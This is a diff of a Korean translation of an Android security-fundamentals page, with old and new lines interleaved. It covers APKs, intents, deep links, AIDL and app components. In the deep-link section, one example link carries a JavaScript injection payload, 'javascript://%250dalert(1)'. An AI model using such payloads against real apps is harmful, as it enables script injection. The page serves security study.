장치가 루팅되면 모든 앱이 루트 액세스를 요청할 수 있습니다. 악성 애플리케이션이 액세스를 얻으면 거의 모든 것에 액세스할 수 있으며 전화를 손상시킬 수 있습니다.
|
장치가 루팅되면, 어떤 앱이든 루트로 접근을 요청할 수 있습니다. 악의적인 애플리케이션이 이를 얻으면 거의 모든 것에 접근할 수 있으며, 전화기를 손상시킬 수 있습니다.
|
||||||
|
|
||||||
## 안드로이드 애플리케이션 기본 사항 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 참조됩니다. 이는 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip로 변경하면 내용을 추출하고 볼 수 있습니다).
|
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 언급됩니다. 본질적으로 **ZIP 파일**입니다 (파일 확장자를 .zip으로 변경하면 내용을 추출하고 볼 수 있습니다).
|
||||||
- APK 내용(완전하지 않음)
|
- APK 내용 (포괄적이지 않음)
|
||||||
- **AndroidManifest.xml**
|
- **AndroidManifest.xml**
|
||||||
- resources.arsc/strings.xml
|
- resources.arsc/strings.xml
|
||||||
- resources.arsc: 바이너리 XML과 같은 사전 컴파일된 리소스를 포함합니다.
|
- resources.arsc: 이진 XML과 같은 미리 컴파일된 리소스를 포함합니다.
|
||||||
- res/xml/files\_paths.xml
|
- res/xml/files\_paths.xml
|
||||||
- META-INF/
|
- META-INF/
|
||||||
- 여기에 인증서가 위치합니다!
|
- 여기에서 인증서가 위치합니다!
|
||||||
- **classes.dex**
|
- **classes.dex**
|
||||||
- 애플리케이션이 기본적으로 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타내는 Dalvik 바이트 코드를 포함합니다.
|
- 기본적으로 애플리케이션이 실행하는 컴파일된 Java (또는 Kotlin) 코드를 나타내는 Dalvik 바이트코드를 포함합니다.
|
||||||
- lib/
|
- lib/
|
||||||
- CPU 아키텍처별로 하위 디렉터리에 분리된 네이티브 라이브러리를 보관합니다.
|
- CPU 아키텍처에 따라 하위 디렉토리로 분리된 네이티브 라이브러리를 포함합니다.
|
||||||
- `armeabi`: ARM 기반 프로세서용 코드
|
- `armeabi`: ARM 기반 프로세서용 코드
|
||||||
- `armeabi-v7a`: ARMv7 및 그 이상 기반 프로세서용 코드
|
- `armeabi-v7a`: ARMv7 및 그 이상의 프로세서용 코드
|
||||||
- `x86`: X86 프로세서용 코드
|
- `x86`: X86 프로세서용 코드
|
||||||
- `mips`: MIPS 프로세서 전용 코드
|
- `mips`: MIPS 프로세서 전용 코드
|
||||||
- assets/
|
- assets/
|
||||||
- 앱에서 필요한 기타 파일을 저장하며 때로는 악성 소프트웨어 작성자가 추가 코드를 숨기기 위해 추가 네이티브 라이브러리 또는 DEX 파일을 포함할 수 있습니다.
|
- 앱에 필요한 다양한 파일을 저장하며, 추가 네이티브 라이브러리나 DEX 파일을 포함할 수 있으며, 때때로 악성 코드 작성자가 추가 코드를 숨기기 위해 사용합니다.
|
||||||
- res/
|
- res/
|
||||||
- resources.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
- resources.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
||||||
|
|
||||||
### **Dalvik & Smali**
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
안드로이드 개발에서 앱을 만들 때는 **Java 또는 Kotlin**을 사용합니다. 데스크톱 앱과 달리 안드로이드는 이 코드를 **Dalvik Executable (DEX) bytecode**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 bytecode를 처리했지만 최신 안드로이드 버전에서는 Android Runtime (ART)가 이를 처리합니다.
|
안드로이드 개발에서는 **Java 또는 Kotlin**을 사용하여 앱을 생성합니다. 데스크톱 앱처럼 JVM을 사용하는 대신, 안드로이드는 이 코드를 **Dalvik Executable (DEX) 바이트코드**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 이제는 최신 안드로이드 버전에서 Android Runtime (ART)가 이를 처리합니다.
|
||||||
|
|
||||||
역공학을 위해 **Smali**가 중요해집니다. 이는 DEX bytecode의 사람이 읽을 수 있는 버전으로, 소스 코드를 bytecode 명령어로 번역하여 어셈블리 언어처럼 작동합니다. 이 맥락에서 Smali와 baksmali는 어셈블리 및 역어셈블리 도구를 가리킵니다.
|
리버스 엔지니어링을 위해 **Smali**가 중요해집니다. 이는 DEX 바이트코드의 사람이 읽을 수 있는 버전으로, 소스 코드를 바이트코드 명령어로 변환하는 어셈블리 언어처럼 작용합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 분해 도구를 나타냅니다.
|
||||||
|
|
||||||
## Intents
|
## Intents
|
||||||
|
|
||||||
Intents는 안드로이드 앱이 구성 요소 간이나 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱이나 구성 요소 간에 데이터를 전달할 수도 있으며, 이는 HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수도 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
||||||
|
|
||||||
따라서 Intent는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. Intents는 **특정 구성 요소나 앱에게 직접 전달**될 수 있으며, **특정 수신자 없이 전송**될 수도 있습니다.\
|
따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 **특정 구성 요소나 앱으로 지향될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\
|
||||||
간단히 말해 Intent는 다음과 같이 사용할 수 있습니다:
|
간단히 말해 인텐트는 다음과 같이 사용될 수 있습니다:
|
||||||
|
|
||||||
* 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다
|
* 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다.
|
||||||
* 변경 사항을 시스템 및 앱에 알리기 위한 브로드캐스트로 사용
|
* 시스템과 앱에 변경 사항을 알리기 위한 브로드캐스트로 사용됩니다.
|
||||||
* 백그라운드 서비스를 시작, 중지 및 통신하기 위해 사용
|
* 백그라운드 서비스와 시작, 중지 및 통신합니다.
|
||||||
* ContentProviders를 통해 데이터에 액세스하기 위해 사용
|
* ContentProviders를 통해 데이터에 접근합니다.
|
||||||
* 이벤트를 처리하기 위한 콜백으로 사용
|
* 이벤트를 처리하기 위한 콜백으로 사용됩니다.
|
||||||
|
|
||||||
취약하다면 **Intents는 다양한 공격을 수행하는 데 사용될 수 있습니다**.
|
취약한 경우, **인텐트를 사용하여 다양한 공격을 수행할 수 있습니다**.
|
||||||
|
|
||||||
### Intent-Filter
|
### Intent-Filter
|
||||||
|
|
||||||
**Intent Filters**는 **활동, 서비스 또는 브로드캐스트 수신기가 다양한 유형의 Intents와 상호 작용하는 방식을 정의**합니다. 기본적으로 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트 유형과 같은 내용을 설명합니다. 이러한 필터를 선언하는 주요 위치는 **AndroidManifest.xml 파일**이지만, 브로드캐스트 수신기의 경우 코드로 작성하는 것도 가능합니다.
|
**인텐트 필터**는 **활동, 서비스 또는 브로드캐스트 수신자가 다양한 유형의 인텐트와 상호작용할 수 있는 방법을 정의합니다**. 본질적으로, 이들은 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트의 종류를 나타냅니다. 이러한 필터를 선언하는 주요 장소는 **AndroidManifest.xml 파일** 내에 있지만, 브로드캐스트 수신자의 경우 코딩하는 것도 옵션입니다.
|
||||||
|
|
||||||
Intent Filters는 카테고리, 작업 및 데이터 필터로 구성되어 있으며 추가 메타데이터를 포함할 수 있습니다. 이 설정을 통해 선언된 기준과 일치하는 특정 Intents를 처리할 수 있습니다.
|
인텐트 필터는 카테고리, 작업 및 데이터 필터로 구성되며, 추가 메타데이터를 포함할 수 있습니다. 이 설정은 구성 요소가 선언된 기준에 맞는 특정 인텐트를 처리할 수 있게 합니다.
|
||||||
|
|
||||||
안드로이드 구성 요소(액티비티/서비스/콘텐츠 제공자/브로드캐스트 수신기)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`true`** 값을 가진 **`exported`**로 내보내어진 경우나 매니페스트에 대한 Intent Filter가 선언된 경우에만 다른 앱과 상호 작용할 수 있습니다. 그러나 개발자가 이러한 구성 요소를 의도치 않게 다른 앱과 상호 작용하지 않도록 명시적으로 비공개로 유지할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성할 수 있습니다.
|
안드로이드 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신자)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`exported`** 속성이 **`true`**로 설정되어 있거나 매니페스트에 인텐트 필터가 선언되어 있으면, 해당 구성 요소는 공개로 간주되며 다른 앱과 상호작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 다른 앱과 의도치 않게 상호작용하지 않도록 할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성됩니다.
|
||||||
|
|
||||||
또한, 개발자는 이러한 구성 요소에 대한 액세스를 더욱 안전하게 보호하기 위해 특정 권한을 요구할 수 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 해당 구성 요소에 액세스할 수 있도록 강제할 수 있으며, 이를 통해 누가 상호 작용할 수 있는지에 대한 추가적인 보안 및 제어 수단을 추가할 수 있습니다.
|
또한, 개발자는 특정 권한을 요구하여 이러한 구성 요소에 대한 접근을 더욱 안전하게 할 수 있는 옵션이 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 구성 요소에 접근할 수 있도록 강제할 수 있으며, 이는 누가 상호작용할 수 있는지에 대한 추가 보안 및 제어 계층을 추가합니다.
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
|
@ -148,13 +150,13 @@ Intent Filters는 카테고리, 작업 및 데이터 필터로 구성되어 있
|
||||||
```
|
```
|
||||||
### 암시적 인텐트
|
### 암시적 인텐트
|
||||||
|
|
||||||
인텐트는 Intent 생성자를 사용하여 프로그래밍적으로 생성됩니다:
|
인텐트는 인텐트 생성자를 사용하여 프로그래밍적으로 생성됩니다:
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
**Action**으로 이전에 선언된 intent는 **ACTION\_SEND**이고 **Extra**는 mailto **Uri**입니다 (Extra는 intent가 기대하는 추가 정보입니다).
|
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||||
|
|
||||||
이 intent는 다음 예제와 같이 manifest 안에 선언되어야 합니다:
|
이 인텐트는 다음 예와 같이 매니페스트 내에 선언되어야 합니다:
|
||||||
```xml
|
```xml
|
||||||
<activity android:name="ShareActivity">
|
<activity android:name="ShareActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -163,50 +165,50 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
인텐트 필터는 메시지를 수신하기 위해 **액션**, **데이터** 및 **카테고리**와 일치해야 합니다.
|
An intent-filter는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다.
|
||||||
|
|
||||||
"인텐트 해결" 프로세스는 각 메시지를 수신해야 하는 앱을 결정합니다. 이 프로세스는 **우선순위 속성**을 고려합니다. 이 속성은 **인텐트 필터 선언**에서 설정할 수 있으며, **더 높은 우선순위를 가진 것이 선택**됩니다. 이 우선순위는 -1000에서 1000 사이로 설정할 수 있으며 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나므로 **사용자가 결정**할 수 있습니다.
|
"Intent resolution" 프로세스는 각 메시지를 수신할 앱을 결정합니다. 이 프로세스는 **priority attribute**를 고려하며, 이는 i**ntent-filter 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면, **사용자가 결정할 수 있도록** "choser" 창이 나타납니다.
|
||||||
|
|
||||||
### 명시적 인텐트
|
### Explicit Intents
|
||||||
|
|
||||||
명시적 인텐트는 대상 클래스 이름을 지정합니다:
|
명시적 인텐트는 타겟으로 하는 클래스 이름을 지정합니다:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
다른 애플리케이션에서 이전에 선언된 intent에 액세스하려면 다음을 사용할 수 있습니다:
|
다른 애플리케이션에서는 이전에 선언된 인텐트에 접근하기 위해 다음을 사용할 수 있습니다:
|
||||||
```java
|
```java
|
||||||
Intent intent = new Intent();
|
Intent intent = new Intent();
|
||||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||||
context.startService(intent);
|
context.startService(intent);
|
||||||
```
|
```
|
||||||
### 보류 중인 인텐트
|
### Pending Intents
|
||||||
|
|
||||||
이를 통해 다른 애플리케이션이 **귀하의 애플리케이션 대신 작업을 수행**할 수 있습니다. 보류 중인 인텐트를 구성할 때는 **인텐트와 수행할 작업을 지정**해야 합니다. **선언된 인텐트가 명시적이지 않은 경우** (어떤 인텐트가 호출할 수 있는지 선언하지 않은 경우) **악성 애플리케이션이 피해 앱 대신 선언된 작업을 수행**할 수 있습니다. 또한 **작업이 지정되지 않은 경우**, 악성 앱은 **피해자를 대신하여 모든 작업을 수행**할 수 있습니다.
|
이것은 다른 애플리케이션이 **당신의 애플리케이션을 대신하여 행동을 취할 수 있게** 해주며, 당신의 앱의 아이덴티티와 권한을 사용합니다. Pending Intent를 구성할 때는 **의도와 수행할 행동을 지정해야** 합니다. **선언된 의도가 명시적이지 않으면** (어떤 의도가 호출할 수 있는지 선언하지 않음) **악의적인 애플리케이션이 피해자 앱을 대신하여 선언된 행동을 수행할 수 있습니다**. 게다가, **행동이 지정되지 않으면**, 악의적인 앱은 **피해자를 대신하여 어떤 행동이든 할 수 있습니다**.
|
||||||
|
|
||||||
### 브로드캐스트 인텐트
|
### Broadcast Intents
|
||||||
|
|
||||||
이전 인텐트와 달리 브로드캐스트 인텐트는 **여러 앱에서 수신**할 수 있습니다. 그러나 API 버전 14부터는 Intent.set Package를 사용하여 **메시지를 수신해야 하는 앱을 지정**할 수 있습니다.
|
이전의 의도와 달리, 단일 앱만 수신하는 것이 아니라, broadcast intents는 **여러 앱이 수신할 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.setPackage를 사용하여.
|
||||||
|
|
||||||
또는 브로드캐스트를 **보낼 때 권한을 지정**할 수도 있습니다. 수신 앱은 해당 권한이 있어야 합니다.
|
또한 **브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다.
|
||||||
|
|
||||||
브로드캐스트에는 **두 가지 유형**이 있습니다: **일반** (비동기) 및 **순서가 지정된** (동기). **순서**는 **수신기 내에서 구성된 우선순위에 따라** 결정됩니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제**할 수 있습니다.
|
브로드캐스트에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **정렬된** (동기). **순서**는 **수신자** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제할 수 있습니다.**
|
||||||
|
|
||||||
`Context` 클래스에서 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트를 보낼 수** 있습니다.\
|
`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트**를 **보낼** 수 있습니다.\
|
||||||
또한 **`LocalBroadCastManager`**에서 **`sendBroadcast`** 함수를 사용하여 **메시지가 앱을 벗어나지 않도록** 할 수 있습니다. 이를 사용하면 수신기 구성 요소를 내보내지 않아도 됩니다.
|
또한 **`LocalBroadCastManager`**의 **`sendBroadcast`** 함수를 사용하면 **메시지가 앱을 떠나지 않도록** 보장합니다. 이를 사용하면 수신자 구성 요소를 내보낼 필요조차 없습니다.
|
||||||
|
|
||||||
### 스티키 브로드캐스트
|
### Sticky Broadcasts
|
||||||
|
|
||||||
이 유형의 브로드캐스트는 **보낸 후 오랫동안 액세스할 수 있습니다**.\
|
이런 종류의 브로드캐스트는 **전송된 후 오랜 시간 동안 접근할 수 있습니다**.\
|
||||||
이러한 것들은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장**됩니다.\
|
이것은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 권장됩니다**.\
|
||||||
**어떤 애플리케이션이 데이터를 가로채고 수정할 수 있게 합니다.**
|
**이들은 어떤 애플리케이션이 데이터를 엿볼 수 있게 할 뿐만 아니라 수정할 수도 있습니다.**
|
||||||
|
|
||||||
**`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**와 같이 "sticky"라는 단어를 포함하는 함수를 찾으면 **영향을 확인하고 제거하려고 시도**하십시오.
|
"sticky"라는 단어가 포함된 함수, 예를 들어 **`sendStickyBroadcast`** 또는 **`sendStickyBroadcastAsUser`**를 발견하면, **영향을 확인하고 제거하려고 시도하세요**.
|
||||||
|
|
||||||
## 딥 링크 / URL 스키마
|
## Deep links / URL schemes
|
||||||
|
|
||||||
Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (인텐트)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스키마**를 선언함으로써 수행됩니다. Android 기기가 **이러한 스키마를 포함하는 URL에 액세스**하려고 할 때, 애플리케이션 내의 지정된 활동이 시작됩니다.
|
안드로이드 애플리케이션에서 **딥 링크**는 URL을 통해 직접 행동(Intent)을 시작하는 데 사용됩니다. 이는 활동 내에서 특정 **URL 스킴**을 선언함으로써 이루어집니다. 안드로이드 장치가 **이 스킴을 가진 URL에 접근하려고 할 때**, 애플리케이션 내에서 지정된 활동이 시작됩니다.
|
||||||
|
|
||||||
스키마는 **`AndroidManifest.xml`** 파일에 선언되어야 합니다.
|
스킴은 **`AndroidManifest.xml`** 파일에 선언되어야 합니다:
|
||||||
```xml
|
```xml
|
||||||
[...]
|
[...]
|
||||||
<activity android:name=".MyActivity">
|
<activity android:name=".MyActivity">
|
||||||
|
@ -218,44 +220,44 @@ Android 애플리케이션에서 **딥 링크**는 URL을 통해 직접 작업 (
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
이전 예제의 scheme은 `exampleapp://`입니다 (또한 **`category BROWSABLE`**도 참고하세요)
|
이전 예제의 스킴은 `exampleapp://`입니다 (또한 **`category BROWSABLE`**도 주목하세요)
|
||||||
|
|
||||||
그런 다음 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다:
|
그런 다음, 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다:
|
||||||
```xml
|
```xml
|
||||||
<data android:scheme="examplescheme"
|
<data android:scheme="examplescheme"
|
||||||
android:host="example"
|
android:host="example"
|
||||||
/>
|
/>
|
||||||
```
|
```
|
||||||
웹에서 액세스하려면 다음과 같이 링크를 설정할 수 있습니다:
|
웹에서 접근하기 위해 다음과 같은 링크를 설정할 수 있습니다:
|
||||||
```xml
|
```xml
|
||||||
<a href="examplescheme://example/something">click here</a>
|
<a href="examplescheme://example/something">click here</a>
|
||||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||||
```
|
```
|
||||||
**앱에서 실행될 코드를 찾으려면** 딥링크로 호출된 액티비티로 이동하여 **`onNewIntent`** 함수를 검색하십시오.
|
앱에서 실행될 **코드를 찾기 위해**, 딥링크로 호출된 액티비티로 가서 **`onNewIntent`** 함수를 검색하세요.
|
||||||
|
|
||||||
[HTML 페이지를 사용하지 않고 딥링크를 호출하는 방법](./#exploiting-schemes-deep-links)을 배우세요.
|
HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](./#exploiting-schemes-deep-links)을 배우세요.
|
||||||
|
|
||||||
## AIDL - Android Interface Definition Language
|
## AIDL - 안드로이드 인터페이스 정의 언어
|
||||||
|
|
||||||
**Android Interface Definition Language (AIDL)**은 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간 통신을 용이하게 하는 데 사용됩니다. Android에서 다른 프로세스의 메모리에 직접 액세스하는 것은 허용되지 않기 때문에 AIDL은 객체를 운영 체제가 이해하는 형식으로 마샬링하여 서로 다른 프로세스 간 통신을 용이하게 합니다.
|
**안드로이드 인터페이스 정의 언어 (AIDL)**는 **프로세스 간 통신** (IPC)을 통해 안드로이드 애플리케이션에서 클라이언트와 서비스 간의 통신을 용이하게 하기 위해 설계되었습니다. 안드로이드에서는 다른 프로세스의 메모리에 직접 접근하는 것이 허용되지 않기 때문에, AIDL은 객체를 운영 체제가 이해할 수 있는 형식으로 변환하여 서로 다른 프로세스 간의 통신을 쉽게 합니다.
|
||||||
|
|
||||||
### 주요 개념
|
### 주요 개념
|
||||||
|
|
||||||
- **바운드 서비스**: 이러한 서비스는 IPC를 위해 AIDL을 활용하여 활동이나 구성 요소가 서비스에 바인딩되어 요청을 수행하고 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메서드는 상호 작용을 시작하는 데 중요하며 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
- **바운드 서비스**: 이러한 서비스는 IPC를 위해 AIDL을 사용하여 액티비티나 컴포넌트가 서비스에 바인딩하고 요청을 하며 응답을 받을 수 있게 합니다. 서비스 클래스의 `onBind` 메소드는 상호작용을 시작하는 데 중요하며, 취약점을 찾기 위한 보안 검토의 중요한 영역으로 표시됩니다.
|
||||||
|
|
||||||
- **Messenger**: 바운드 서비스로 작동하는 Messenger는 `onBind` 메서드를 통해 데이터 처리에 중점을 둔 IPC를 용이하게 합니다. 이 메서드를 신중하게 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행 여부를 확인하는 것이 중요합니다.
|
- **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다.
|
||||||
|
|
||||||
- **Binder**: AIDL의 추상화로 인해 Binder 클래스의 직접적인 사용은 덜 흔하지만, Binder가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작동한다는 점을 이해하는 것이 유익합니다. 자세한 내용은 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 확인할 수 있습니다.
|
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 경우는 드물지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준의 드라이버 역할을 한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 자료를 확인할 수 있습니다.
|
||||||
|
|
||||||
## 구성 요소
|
## 구성 요소
|
||||||
|
|
||||||
이는 **액티비티, 서비스, 브로드캐스트 수신자 및 프로바이더**를 포함합니다.
|
여기에는 **액티비티, 서비스, 브로드캐스트 리시버 및 프로바이더**가 포함됩니다.
|
||||||
|
|
||||||
### 런처 액티비티 및 기타 액티비티
|
### 런처 액티비티 및 기타 액티비티
|
||||||
|
|
||||||
Android 앱에서 **액티비티**는 화면처럼 작동하여 앱의 사용자 인터페이스의 다른 부분을 보여줍니다. 앱은 각각이 사용자에게 고유한 화면을 제공하는 많은 액티비티를 가질 수 있습니다.
|
안드로이드 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다.
|
||||||
|
|
||||||
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 MAIN 및 LAUNCHER 인텐트로 정의됩니다.
|
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트와 함께 정의됩니다:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -264,19 +266,19 @@ Android 앱에서 **액티비티**는 화면처럼 작동하여 앱의 사용자
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
모든 앱이 런처 액티비티를 필요로 하는 것은 아닙니다, 특히 사용자 인터페이스가 없는 백그라운드 서비스와 같은 경우입니다.
|
모든 앱이 런처 액티비티가 필요하지는 않으며, 특히 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱은 그렇습니다.
|
||||||
|
|
||||||
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정을 통해 다른 앱이 이 액티비티를 시작할 수 있습니다:
|
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다:
|
||||||
```markdown
|
```markdown
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
그러나 다른 앱에서 활동에 액세스하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유되는 경우에는 정보 누출로 이어질 수 있습니다.
|
그러나 다른 앱의 활동에 접근하는 것이 항상 보안 위험은 아닙니다. 민감한 데이터가 부적절하게 공유될 경우 우려가 발생하며, 이는 정보 유출로 이어질 수 있습니다.
|
||||||
|
|
||||||
활동의 수명주기는 **onCreate 메서드로 시작**되며 UI를 설정하고 사용자와 상호 작용할 수 있도록 활동을 준비합니다.
|
활동의 생명주기 **는 onCreate 메서드로 시작**되며, UI를 설정하고 사용자와의 상호작용을 위해 활동을 준비합니다.
|
||||||
|
|
||||||
### 애플리케이션 서브클래스
|
### 애플리케이션 서브클래스
|
||||||
|
|
||||||
Android 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 만들 수 있지만 필수는 아닙니다. 이러한 서브클래스가 정의된 경우 해당 서브클래스가 앱 내에서 가장 먼저 인스턴스화됩니다. 이 서브클래스에서 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드보다 먼저 실행됩니다. 이 설정을 통해 애플리케이션이 시작되기 전에 초기화를 빠르게 수행할 수 있습니다.
|
안드로이드 개발에서 앱은 [Application](https://developer.android.com/reference/android/app/Application) 클래스의 **서브클래스**를 생성할 수 있는 옵션이 있지만, 필수는 아닙니다. 이러한 서브클래스가 정의되면 앱 내에서 가장 먼저 인스턴스화되는 클래스가 됩니다. 이 서브클래스에서 구현된 **`attachBaseContext`** 메서드는 **`onCreate`** 메서드 이전에 실행됩니다. 이 설정은 나머지 애플리케이션이 시작되기 전에 초기화를 조기에 수행할 수 있게 합니다.
|
||||||
```java
|
```java
|
||||||
public class MyApp extends Application {
|
public class MyApp extends Application {
|
||||||
@Override
|
@Override
|
||||||
|
@ -292,35 +294,35 @@ super.onCreate();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### 서비스
|
### Services
|
||||||
|
|
||||||
[서비스](https://developer.android.com/guide/components/services)는 사용자 인터페이스 없이 작업을 실행할 수 있는 **백그라운드 작업자**입니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환해도 계속 실행될 수 있어서 **장기 실행 작업**에 중요합니다.
|
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, 서비스는 **장기 실행 작업**에 필수적입니다.
|
||||||
|
|
||||||
